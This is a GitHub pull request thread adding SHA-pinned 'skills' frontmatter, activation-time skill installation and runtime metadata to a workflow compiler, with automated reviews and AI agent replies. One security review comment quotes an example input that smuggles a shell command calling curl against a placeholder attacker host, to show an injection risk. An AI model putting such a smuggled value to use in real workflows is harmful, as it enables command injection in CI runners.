Add frontmatter skills support with activation-time gh skill install and engine wiring#42426
Conversation
…ring Co-authored-by: pelikhan <4175913+pelikhan@users.noreply.github.com>
Co-authored-by: pelikhan <4175913+pelikhan@users.noreply.github.com>
skills support with activation-time gh skill install and engine wiring
🤖 PR Triage — Run §28445959231
Score breakdown: Impact 22/50 · Urgency 14/30 · Quality 9/20 Frontmatter
|
|
@copilot update Matt pocock , impeccable to use skills frontmatter |
| "description": "Optional list of external skill references to install during activation. Supports repository-wide installs (`owner/repo@<sha>`) and path-scoped installs (`owner/repo/skill/path@<sha>`). References must always be pinned to full 40-character lowercase commit SHAs.", | ||
| "items": { | ||
| "type": "string", | ||
| "pattern": "^[A-Za-z0-9_.-]+\\/[A-Za-z0-9_.-]+(?:\\/[A-Za-z0-9_.-]+(?:\\/[A-Za-z0-9_.-]+)*)?@[0-9a-f]{40}$" |
There was a problem hiding this comment.
@copilot add support for github actions expressions
There was a problem hiding this comment.
Implemented in 54ee1ac (with the main support added in fffec7e). skills now accepts GitHub Actions expressions in schema and frontmatter validation, with tests covering expression-based refs.
Co-authored-by: pelikhan <4175913+pelikhan@users.noreply.github.com>
Co-authored-by: pelikhan <4175913+pelikhan@users.noreply.github.com>
|
🧠 Matt Pocock Skills Reviewer has completed the skills-based review. ✅ |
|
|
|
✅ Design Decision Gate 🏗️ completed the design decision gate check. |
|
✅ Test Quality Sentinel completed test quality analysis. |
There was a problem hiding this comment.
Pull request overview
Adds first-class workflow frontmatter support for skills, validates/propagates the configured skill specs through compilation, installs them during the activation job via gh skill install, and exposes the configured list to the runtime via aw_info.json so agent engines can discover the declared skills consistently.
Changes:
- Added
skillsto the frontmatter schema/types, extraction intoWorkflowData, and validation (including SHA-pinning rules + expression allowances). - Implemented activation-job installation of declared skills (with artifact persistence + restore in the main job when skills are present).
- Emitted
GH_AW_INFO_SKILLSinto the generated workflow and updatedgenerate_aw_info.cjsto parse/persist skills intoaw_info.json(with tests).
Show a summary per file
| File | Description |
|---|---|
| pkg/workflow/workflow_builder.go | Extracts skills from parsed/raw frontmatter into compiled workflow data. |
| pkg/workflow/skills_frontmatter.go | Adds skills frontmatter validation + helper to detect repo-spec vs path-spec. |
| pkg/workflow/skills_frontmatter_test.go | Unit tests for skills frontmatter validation and repo-spec detection. |
| pkg/workflow/frontmatter_types.go | Adds Skills []string to typed frontmatter config. |
| pkg/workflow/frontmatter_types_test.go | Verifies skills array parsing into typed config. |
| pkg/workflow/compiler_yaml.go | Emits GH_AW_INFO_SKILLS env for downstream aw_info.json generation. |
| pkg/workflow/compiler_yaml_main_job.go | Restores engine skills directory when inline agents are enabled or frontmatter skills are present. |
| pkg/workflow/compiler_types.go | Adds Skills to WorkflowData to carry configured specs through compilation. |
| pkg/workflow/compiler_orchestrator_frontmatter.go | Hooks skills validation into main workflow frontmatter validation flow. |
| pkg/workflow/compiler_orchestrator_frontmatter_test.go | Tests invalid pinned refs and expression-based skill refs in frontmatter parsing. |
| pkg/workflow/compiler_activation_job.go | Wires activation skill install step injection into activation job build. |
| pkg/workflow/compiler_activation_job_builder.go | Implements activation steps to install frontmatter skills and persist them in activation artifacts. |
| pkg/workflow/activation_skills_step_test.go | Ensures activation job includes gh upgrade/version gate + skill install commands. |
| pkg/parser/schemas/main_workflow_schema.json | Extends main workflow JSON schema to include skills with pinned SHA + expression patterns. |
| actions/setup/js/generate_aw_info.test.cjs | Adds test coverage for skills being included/logged in aw_info.json. |
| actions/setup/js/generate_aw_info.cjs | Parses GH_AW_INFO_SKILLS and persists to aw_info.json with warnings on malformed entries. |
Review details
Tip
Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.
- Files reviewed: 16/16 changed files
- Comments generated: 1
- Review effort level: Low
| for _, skillSpec := range ctx.data.Skills { | ||
| ctx.steps = append(ctx.steps, fmt.Sprintf(" echo \"Installing skill reference: %s\"\n", skillSpec)) | ||
| if isRepositorySkillSpec(skillSpec) { | ||
| ctx.steps = append(ctx.steps, fmt.Sprintf(" gh skill install %q --all --dir \"${SKILLS_DST}\" --force\n", skillSpec)) | ||
| continue | ||
| } | ||
| ctx.steps = append(ctx.steps, fmt.Sprintf(" gh skill install %q --dir \"${SKILLS_DST}\" --force\n", skillSpec)) | ||
| } |
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
Design Decision Gate — ADR RequiredThis PR makes significant changes to core business logic (354 new lines in Draft ADR committed:
What to do next
Once an ADR is linked in the PR body, this gate will re-run and verify the implementation matches the decision. Why ADRs MatterADRs create a searchable, permanent record of why the codebase looks the way it does. Future contributors (and your future self) will thank you. Michael Nygard ADR Format ReferenceAn ADR must contain these four sections to be considered complete:
All ADRs are stored in
|
![github-actions[bot]](https://avatars.githubusercontent.com/in/15368?s=60&v=4){kind=small}
There was a problem hiding this comment.
Review: frontmatter skills support
Solid end-to-end implementation — schema, validation, activation install, artifact persistence, and runtime exposure via aw_info.json are all consistent. Three issues worth addressing before merge:
| # | Severity | File | Issue |
|---|---|---|---|
| 1 | Security | compiler_activation_job_builder.go:563 |
Expression-based skill specs are interpolated directly into the run: script; GitHub Actions resolves them before the shell runs, so a malicious input value can break shell command boundaries (shell injection). |
| 2 | Maintainability | skills_frontmatter.go:42-45 |
strings.Cut + gitutil.IsValidFullSHA after a successful skillSpecRegexp.MatchString is unreachable dead code — the regex already guarantees a valid 40-char lowercase SHA. |
| 3 | Reliability | activation_skills_step_test.go |
Test coverage exists only for SHA-pinned specs; expression-based specs (${{ inputs.skill_ref }}, owner/repo@${{ github.sha }}) lack activation-job generation tests, leaving the known isRepositorySkillSpec compile-time limitation untested and undocumented. |
The isRepositorySkillSpec limitation for whole-expression specs (always treated as path-spec, no --all) was separately noted in an existing review thread — issues 1 and 2 above are additive findings.
References: §28456738135
🧵 Reviewed using Impeccable skills by Impeccable Skills Reviewer · 71.4 AIC · ⌖ 6.76 AIC · ⊞ 4.9K
| ctx.steps = append(ctx.steps, " echo \"Installing frontmatter skills to ${SKILLS_DST}\"\n") | ||
| ctx.steps = append(ctx.steps, " echo \"Existing skills at destination may be replaced (--force) to ensure pinned refs are up to date\"\n") | ||
| for _, skillSpec := range ctx.data.Skills { | ||
| ctx.steps = append(ctx.steps, fmt.Sprintf(" echo \"Installing skill reference: %s\"\n", skillSpec)) |
There was a problem hiding this comment.
Security: shell injection risk for expression-based skill specs
The echo line uses %s (no additional quoting), and the gh skill install lines use Go %q — but in both cases the shell injection concern is the same: the ${{ inputs.skill_ref }}-style expression is embedded literally in the run: script. GitHub Actions resolves the expression before the shell executes the script, so a malicious input value (e.g. legit/spec@sha"; curl attacker.com; echo ") can break shell command boundaries.
The GitHub Actions security recommendation is to pass user-controlled inputs through env variables, not directly in run: blocks:
env:
SKILL_SPEC: ${{ inputs.skill_ref }}
run: |
echo "Installing skill reference: ${SKILL_SPEC}"
gh skill install "${SKILL_SPEC}" --dir "${SKILLS_DST}" --forceSince each spec is known at compile time, you could instead write all resolved specs into GH_AW_SKILLS (already done as JSON) and loop over them in the shell using jq or a heredoc, keeping every user-controlled value exclusively in env vars and never interpolated directly into the script text.
@copilot please address this.
There was a problem hiding this comment.
Addressed in a1e89b7 (with a follow-up note in 0a451d9). Activation now passes each skill spec through step env vars and installs from quoted shell variables, so expression-based refs are no longer interpolated directly into the run: script.
| ) | ||
| } | ||
| _, ref, ok := strings.Cut(skillSpec, "@") | ||
| if !ok || !gitutil.IsValidFullSHA(ref) { |
There was a problem hiding this comment.
Redundant SHA validation — unreachable dead code
skillSpecRegexp already requires the suffix @[0-9a-f]{40}$, so if the MatchString check above succeeds, the SHA is guaranteed to be a valid 40-char lowercase hex string by construction. The strings.Cut + gitutil.IsValidFullSHA branch here can never fire: strings.Cut always finds @ (the regex requires it) and IsValidFullSHA always returns true for the extracted suffix.
Consider removing lines 42-45 to avoid misleading future readers into thinking there is a case the regex does not cover:
// Remove these lines — they are unreachable after the regex check above
_, ref, ok := strings.Cut(skillSpec, "@")
if !ok || !gitutil.IsValidFullSHA(ref) {
return fmt.Errorf(...)
}@copilot please address this.
There was a problem hiding this comment.
Addressed in a1e89b7. I removed the unreachable post-regex SHA validation branch from skills_frontmatter.go.
| assert.Contains(t, steps, "gh skill install \"githubnext/skills@1f181b37d3fe5862ab590648f25a292e345b5de6\" --all --dir \"${SKILLS_DST}\" --force") | ||
| assert.Contains(t, steps, "gh skill install \"githubnext/skills/review/security@1f181b37d3fe5862ab590648f25a292e345b5de6\" --dir \"${SKILLS_DST}\" --force") | ||
| assert.Contains(t, steps, "### Frontmatter skills installed") | ||
| } |
There was a problem hiding this comment.
Missing test coverage for expression-based skill specs
This test exercises SHA-pinned specs only. validateFrontmatterSkills explicitly permits two additional spec forms:
- Whole-expression:
${{ inputs.skill_ref }} - Expression-ref:
githubnext/skills@${{ github.sha }}
A complementary test case covering these forms would document the expected generated YAML (e.g., that whole-expression specs produce no --all flag and that expression-ref specs do) and guard against silent regressions if the generation logic changes. This is especially valuable given the existing known limitation that whole-expression specs are always treated as path-specs at compile time.
@copilot please address this.
There was a problem hiding this comment.
Addressed in a1e89b7. activation_skills_step_test.go now covers expression-based skill specs and verifies they are passed through env vars instead of being embedded directly in the shell script.
There was a problem hiding this comment.
Skills-Based Review 🧠
Applied /tdd, /codebase-design, /diagnosing-bugs, /grill-with-docs, and /improve-codebase-architecture — requesting changes on two correctness issues and several test gaps.
📋 Key Themes & Highlights
Blocking Issues
- Silent error swallowing in
addActivationSkillInstallSteps— the function returnsvoidwhile all sibling methods returnerror. A JSON marshal failure silently drops all skill install steps from the activation job with no observable signal. This should be changed to returnerrorand propagate up throughbuildActivationJob. - Silent marshal failure in
compiler_yaml.go— ifjson.Marshalfails forGH_AW_INFO_SKILLS, the env var is silently omitted with no log line. The engine would start with no skills and no indication why.
Test Coverage Gaps
- Missing boundary tests for the 40-char SHA constraint (39-char, uppercase, non-string items, empty array)
- Warning paths in
parseSkillsFromEnv(malformed JSON, non-array, non-string items) are untested in the JS layer - No test for the default case: skills-absent workflows should produce no extra activation steps
isRepositorySkillSpecbehaviour with expression-based refs (githubnext/skills@${{ github.sha }}) is meaningful but untested
Clarity
- Schema
descriptionsays "always be pinned to full 40-char SHAs" but expression refs bypass this — misleading for users reading the description GH_AW_SKILLSenv var in the generated step is only informational (install loop is unrolled at compile time), which could confuse operators who try to override it at runtimeisRepositorySkillSpecand the raw-fallback path inextractFrontmatterSkillsboth have implicit invariants that benefit from a one-line comment
Positive Highlights
- ✅ Full end-to-end wiring: schema → parsing → validation → activation → compilation → runtime env — no gaps in the data flow
- ✅ SHA-pinning enforced at two independent layers (JSON Schema pattern + Go regex +
gitutil.IsValidFullSHA) - ✅ Activation steps handle both repo-wide (
--all) and path-scoped installs correctly - ✅ Artifact persistence logic is consistent between upload and restore conditions
- ✅ Operator-visible step summary with skill count is a nice touch
🧠 Reviewed using Matt Pocock's skills by Matt Pocock Skills Reviewer · 103.2 AIC · ⌖ 9.24 AIC · ⊞ 6.5K
Comment /matt to run again
| skillDir := GetEngineSkillDir(engineID) | ||
| skillSpecsJSON, err := json.Marshal(ctx.data.Skills) | ||
| if err != nil { | ||
| compilerActivationJobLog.Printf("Failed to marshal skills list for activation job: %v", err) |
There was a problem hiding this comment.
[/codebase-design] addActivationSkillInstallSteps silently swallows the json.Marshal error and returns void, leaving the activation job without any skill-install steps and no observable signal to the caller or tests.
Every sibling addActivation* method returns error. Breaking that invariant here makes silent failures untestable.
💡 Suggested fix
Change the signature to return error:
func (c *Compiler) addActivationSkillInstallSteps(ctx *activationJobBuildContext) error {
if len(ctx.data.Skills) == 0 {
return nil
}
skillSpecsJSON, err := json.Marshal(ctx.data.Skills)
if err != nil {
return fmt.Errorf("failed to marshal skills list for activation job: %w", err)
}
// ... rest of the function ...
return nil
}Then in compiler_activation_job.go, mirror the pattern of surrounding steps:
if err := c.addActivationSkillInstallSteps(ctx); err != nil {
return nil, fmt.Errorf("failed to add skill install steps: %w", err)
}@copilot please address this.
There was a problem hiding this comment.
Addressed in a1e89b7. addActivationSkillInstallSteps now returns an error, and buildActivationJob propagates failures instead of silently dropping the install steps.
| } | ||
| } | ||
| if len(data.Skills) > 0 { | ||
| if skillsJSON, err := json.Marshal(data.Skills); err == nil { |
There was a problem hiding this comment.
[/diagnosing-bugs] When json.Marshal fails here, GH_AW_INFO_SKILLS is silently omitted with no log or warning. The engine would start with no skills loaded, and the operator would have no indication why.
The features block three lines above follows the exact same pattern — consider at least adding a core.warning (or in Go, a log.Printf) in the else branch to surface this at runtime.
💡 Suggested fix
if len(data.Skills) > 0 {
if skillsJSON, err := json.Marshal(data.Skills); err == nil {
escapedSkillsJSON := strings.ReplaceAll(string(skillsJSON), "'", "''")
fmt.Fprintf(yaml, " GH_AW_INFO_SKILLS: '%s'\n", escapedSkillsJSON)
} else {
compilerYAMLLog.Printf("Failed to marshal skills for GH_AW_INFO_SKILLS, engine will not receive skill list: %v", err)
}
}@copilot please address this.
There was a problem hiding this comment.
Addressed in a1e89b7. compiler_yaml.go now logs a warning when GH_AW_INFO_SKILLS cannot be marshaled instead of failing silently.
| }) | ||
| require.Error(t, err) | ||
| require.Contains(t, err.Error(), "40-char-sha") | ||
| }) |
There was a problem hiding this comment.
[/tdd] The rejects non-sha refs test covers a branch name (@main) but misses the critical boundary cases for the 40-char SHA constraint, which is the core security invariant of this feature.
💡 Missing edge cases to add
t.Run("rejects 39-char sha (one short)", func(t *testing.T) {
err := validateFrontmatterSkills(map[string]any{
"skills": []any{"githubnext/skills@1f181b37d3fe5862ab590648f25a292e345b5de"}, // 39 chars
})
require.Error(t, err)
})
t.Run("rejects uppercase sha chars", func(t *testing.T) {
err := validateFrontmatterSkills(map[string]any{
"skills": []any{"githubnext/skills@1F181B37D3FE5862AB590648F25A292E345B5DE6"}, // uppercase
})
require.Error(t, err)
})
t.Run("accepts empty skills array", func(t *testing.T) {
err := validateFrontmatterSkills(map[string]any{"skills": []any{}})
require.NoError(t, err)
})
t.Run("rejects non-string item", func(t *testing.T) {
err := validateFrontmatterSkills(map[string]any{"skills": []any{42}})
require.Error(t, err)
})@copilot please address this.
There was a problem hiding this comment.
Addressed in a1e89b7. skills_frontmatter_test.go now covers 39-char SHAs, uppercase SHAs, empty arrays, and non-string items.
| assert.Contains(t, steps, "gh skill install \"githubnext/skills@1f181b37d3fe5862ab590648f25a292e345b5de6\" --all --dir \"${SKILLS_DST}\" --force") | ||
| assert.Contains(t, steps, "gh skill install \"githubnext/skills/review/security@1f181b37d3fe5862ab590648f25a292e345b5de6\" --dir \"${SKILLS_DST}\" --force") | ||
| assert.Contains(t, steps, "### Frontmatter skills installed") | ||
| } |
There was a problem hiding this comment.
[/tdd] The test only covers the happy path (skills present). There is no test verifying that when Skills is nil or empty, addActivationSkillInstallSteps is a no-op and adds zero steps to the activation job. This is the default path for the vast majority of workflows.
💡 Suggested test to add
func TestBuildActivationJob_NoSkillsStepsWhenSkillsAbsent(t *testing.T) {
compiler := NewCompiler(WithVersion("dev"))
compiler.SetActionMode(ActionModeDev)
data := &WorkflowData{
Name: "no-skills-workflow",
On: `"on":\n workflow_dispatch:`,
AI: "copilot",
}
job, err := compiler.buildActivationJob(data, false, "", "no-skills.lock.yml")
require.NoError(t, err)
require.NotNil(t, job)
steps := strings.Join(job.Steps, "")
assert.NotContains(t, steps, "Upgrade gh CLI for frontmatter skills")
assert.NotContains(t, steps, "Install frontmatter skills")
}@copilot please address this.
There was a problem hiding this comment.
Addressed in a1e89b7. Added a no-skills activation test to verify the default path does not emit the frontmatter skill install steps.
| } | ||
|
|
||
| func TestIsRepositorySkillSpec(t *testing.T) { | ||
| require.True(t, isRepositorySkillSpec("githubnext/skills@1f181b37d3fe5862ab590648f25a292e345b5de6")) |
There was a problem hiding this comment.
[/tdd] TestIsRepositorySkillSpec only tests two static SHA-pinned specs. When a skill has an expression ref like githubnext/skills@${{ github.sha }}, isRepositorySkillSpec strips the @... suffix and counts one slash in the base (githubnext/skills), so it returns true and the generated install command receives --all. This behavior is meaningful but untested.
💡 Suggested cases to add
// Expression-based repo spec still gets --all
require.True(t, isRepositorySkillSpec("githubnext/skills@${{ github.sha }}"))
// Pure expression (no @) has 0 slashes in base → path-scoped, no --all
require.False(t, isRepositorySkillSpec("${{ inputs.skill_ref }}"))@copilot please address this.
There was a problem hiding this comment.
Addressed in a1e89b7. TestIsRepositorySkillSpec now covers both owner/repo@${{ ... }} and whole-expression refs.
| ctx.steps = append(ctx.steps, " env:\n") | ||
| ctx.steps = append(ctx.steps, fmt.Sprintf(" GH_TOKEN: %s\n", c.resolveActivationToken(ctx.data))) | ||
| ctx.steps = append(ctx.steps, fmt.Sprintf(" GH_AW_SKILL_DIR: %q\n", skillDir)) | ||
| ctx.steps = append(ctx.steps, fmt.Sprintf(" GH_AW_SKILLS: '%s'\n", escapedSkillSpecsJSON)) |
There was a problem hiding this comment.
[/improve-codebase-architecture] GH_AW_SKILLS is passed as a step env var but is only used in the step summary output (line 578). The actual install loop is unrolled at compile time in Go (lines 562–569), so this env var does not drive install logic at runtime.
This creates a subtle misleading signal: an operator reading the YAML might think GH_AW_SKILLS controls which skills are installed, but modifying it at runtime would have no effect. Consider renaming to something that signals its read-only/informational nature (e.g., GH_AW_SKILLS_LOG or GH_AW_SKILLS_SUMMARY) or adding a comment in the generated YAML.
@copilot please address this.
There was a problem hiding this comment.
Addressed in a1e89b7. I renamed the informational env var to GH_AW_SKILLS_SUMMARY so it no longer looks like the runtime source of truth for installation.
| }, | ||
| "skills": { | ||
| "type": "array", | ||
| "description": "Optional list of external skill references to install during activation. Supports repository-wide installs (`owner/repo@<sha>`) and path-scoped installs (`owner/repo/skill/path@<sha>`). References must always be pinned to full 40-character lowercase commit SHAs.", |
There was a problem hiding this comment.
[/grill-with-docs] The description field says "References must always be pinned to full 40-character lowercase commit SHAs", but the oneOf immediately below allows two expression-based forms that bypass the SHA requirement. A user reading only the description will miss the escape hatch.
💡 Suggested wording
"description": "Optional list of external skill references to install during activation. Supports repository-wide installs (`owner/repo@<sha>`) and path-scoped installs (`owner/repo/skill/path@<sha>`). Static references must be pinned to a full 40-character lowercase commit SHA. GitHub Actions expressions (`${{ ... }}`) are also accepted and are evaluated at runtime."
@copilot please address this.
There was a problem hiding this comment.
Addressed in a1e89b7. The schema description now distinguishes static SHA-pinned refs from runtime GitHub Actions expressions.
| } | ||
| const skills = []; | ||
| for (const [index, value] of parsed.entries()) { | ||
| if (typeof value === "string" && value.length > 0) { |
There was a problem hiding this comment.
[/tdd] parseSkillsFromEnv accepts any non-empty string into aw_info.json without validating the spec format. While the Go compiler enforces the owner/repo@<40-char-sha> constraint at compile time, the env var could be set or overridden manually, and there is no test covering the warning paths (malformed JSON, non-array, non-string items).
💡 Missing tests to add in `generate_aw_info.test.cjs`
it("should warn and return null for non-array GH_AW_INFO_SKILLS", async () => {
process.env.GH_AW_INFO_SKILLS = JSON.stringify("not-an-array");
await main(mockCore, mockContext);
const awInfo = JSON.parse(fs.readFileSync(awInfoPath, "utf8"));
expect(awInfo.skills).toBeUndefined();
expect(mockCore.warning).toHaveBeenCalledWith(expect.stringContaining("JSON array"));
});
it("should warn and skip non-string items in GH_AW_INFO_SKILLS", async () => {
process.env.GH_AW_INFO_SKILLS = JSON.stringify([42, "valid/spec@" + "a".repeat(40)]);
await main(mockCore, mockContext);
expect(mockCore.warning).toHaveBeenCalledWith(expect.stringContaining("[0]"));
});
it("should warn and return null for unparseable GH_AW_INFO_SKILLS", async () => {
process.env.GH_AW_INFO_SKILLS = "not-json";
await main(mockCore, mockContext);
const awInfo = JSON.parse(fs.readFileSync(awInfoPath, "utf8"));
expect(awInfo.skills).toBeUndefined();
expect(mockCore.warning).toHaveBeenCalledWith(expect.stringContaining("Failed to parse"));
});@copilot please address this.
There was a problem hiding this comment.
Addressed in a1e89b7. generate_aw_info.test.cjs now covers malformed JSON, non-array payloads, and non-string items for GH_AW_INFO_SKILLS.
| return append([]string(nil), parsedFrontmatter.Skills...) | ||
| } | ||
|
|
||
| rawSkills, ok := frontmatter["skills"].([]any) |
There was a problem hiding this comment.
[/codebase-design] The raw-frontmatter fallback here operates on an implicit ordering invariant: validateFrontmatterSkills must have already run (and succeeded) before extractFrontmatterSkills is reached, so these raw strings are safe to use. That guarantee is invisible at the call site.
The analogous extractLSPConfig at line 171 has the same pattern — so this is a pre-existing convention — but the invariant is worth documenting here given the new security-sensitive nature of skill specs.
💡 Suggested comment
// Fallback to raw frontmatter when ParseFrontmatterConfig failed for non-skills reasons
// (e.g. unrecognized tool shapes). Safe because validateFrontmatterSkills already ran
// and succeeded on this frontmatter before we reach this point.
rawSkills, ok := frontmatter["skills"].([]any)@copilot please address this.
There was a problem hiding this comment.
Addressed in a1e89b7. I added a comment documenting why the raw skills fallback is safe at that point in the frontmatter flow.
|
|
||
| func isRepositorySkillSpec(skillSpec string) bool { | ||
| base, _, _ := strings.Cut(skillSpec, "@") | ||
| return strings.Count(base, "/") == 1 |
There was a problem hiding this comment.
[/codebase-design] The strings.Count(base, "/") == 1 invariant is the load-bearing logic that distinguishes repo-wide from path-scoped installs, but it's not explained. Readers need to work backwards to understand that owner/repo has exactly one slash and owner/repo/skill/path has more than one.
A short comment would save future maintainers from having to reconstruct this reasoning, especially since the function is also called for expression-based specs (where the base might be the full expression string with zero slashes).
💡 Suggested comment
func isRepositorySkillSpec(skillSpec string) bool {
base, _, _ := strings.Cut(skillSpec, "@")
// owner/repo has exactly 1 slash; owner/repo/skill/path has 2+.
// Expression specs (no "@") have 0 slashes and are treated as path-scoped.
return strings.Count(base, "/") == 1
}@copilot please address this.
There was a problem hiding this comment.
Addressed in a1e89b7. I documented the slash-count invariant in isRepositorySkillSpec, and the runtime detection path got a matching alignment note in 0a451d9.
🧪 Test Quality Sentinel Report
📊 Metrics & Test Classification (7 tests analyzed)
Go: 6 ( Test inflation analysis:
Note: The inflated ratios reflect testing paths through existing complex functions (
|
|
@copilot run pr-finisher skill |
Co-authored-by: pelikhan <4175913+pelikhan@users.noreply.github.com>
Co-authored-by: pelikhan <4175913+pelikhan@users.noreply.github.com>
Updated the Matt Pocock reviewer workflow in
Done. I ran the PR-finisher pass and pushed |
This change adds built-in workflow frontmatter support for
skillsusing SHA-pinned references and makes activation install those skills viagh skill. It also propagates configured skills into runtime metadata so the selected agent engine can discover/load them consistently.Frontmatter contract
skillsto main workflow frontmatter schema and typed config.owner/repo@<40-char-sha>(install all skills from repo)owner/repo/skill/path@<40-char-sha>(install one skill path)Compiler data flow
Skillsto workflow compile data and extraction from frontmatter.Activation behavior
ghis installed/upgraded and version-gated forgh skillsupport.gh skill install, specializing behavior by spec type (--allfor repo specs).Runtime/engine notification
GH_AW_INFO_SKILLSemission in generated workflow env.generate_aw_info.cjsto parse, validate, and exposeskillsinaw_info.json, with warnings for malformed entries.Skill artifact persistence